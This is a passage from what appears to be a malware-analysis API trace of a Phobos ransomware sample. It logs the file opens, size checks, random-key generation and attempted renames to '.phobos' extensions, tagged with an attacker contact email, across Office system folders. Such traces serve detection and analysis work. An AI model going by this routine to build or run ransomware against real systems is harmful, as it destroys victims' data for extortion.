shared\\ClickToRun\\mso20win32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.745] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0 [0124.746] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.746] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=4677216) returned 1 [0124.746] CloseHandle (hObject=0x580) returned 1 [0124.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0124.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0 [0124.746] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.746] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3177152) returned 1 [0124.747] CloseHandle (hObject=0x580) returned 1 [0124.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0124.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0 [0124.747] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.747] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=9330784) returned 1 [0124.747] CloseHandle (hObject=0x580) returned 1 [0124.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0124.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0 [0124.748] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.748] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=61024) returned 1 [0124.748] CloseHandle (hObject=0x580) returned 1 [0124.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0124.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.748] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.748] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=660136) returned 1 [0124.748] CloseHandle (hObject=0x580) returned 1 [0124.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0124.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.749] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.749] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=635040) returned 1 [0124.749] CloseHandle (hObject=0x580) returned 1 [0124.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0124.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.749] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.750] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=963240) returned 1 [0124.750] CloseHandle (hObject=0x580) returned 1 [0124.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0124.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.750] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.751] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=5967976) returned 1 [0124.751] CloseHandle (hObject=0x580) returned 1 [0124.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0124.751] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.751] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0 [0124.751] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.751] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=996568) returned 1 [0124.751] CloseHandle (hObject=0x580) returned 1 [0124.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0124.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.752] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.752] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2776664) returned 1 [0124.752] CloseHandle (hObject=0x580) returned 1 [0124.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0124.752] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.752] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0 [0124.752] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.752] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1053784) returned 1 [0124.752] CloseHandle (hObject=0x580) returned 1 [0124.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0124.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.753] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.753] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=982720) returned 1 [0124.754] CloseHandle (hObject=0x580) returned 1 [0124.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0124.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.754] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.754] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=390320) returned 1 [0124.754] CloseHandle (hObject=0x580) returned 1 [0124.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0124.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.755] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.755] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=88752) returned 1 [0124.755] CloseHandle (hObject=0x580) returned 1 [0124.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0124.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.755] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.788] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.788] CloseHandle (hObject=0x590) returned 1 [0124.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0124.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.789] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.789] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.789] CloseHandle (hObject=0x590) returned 1 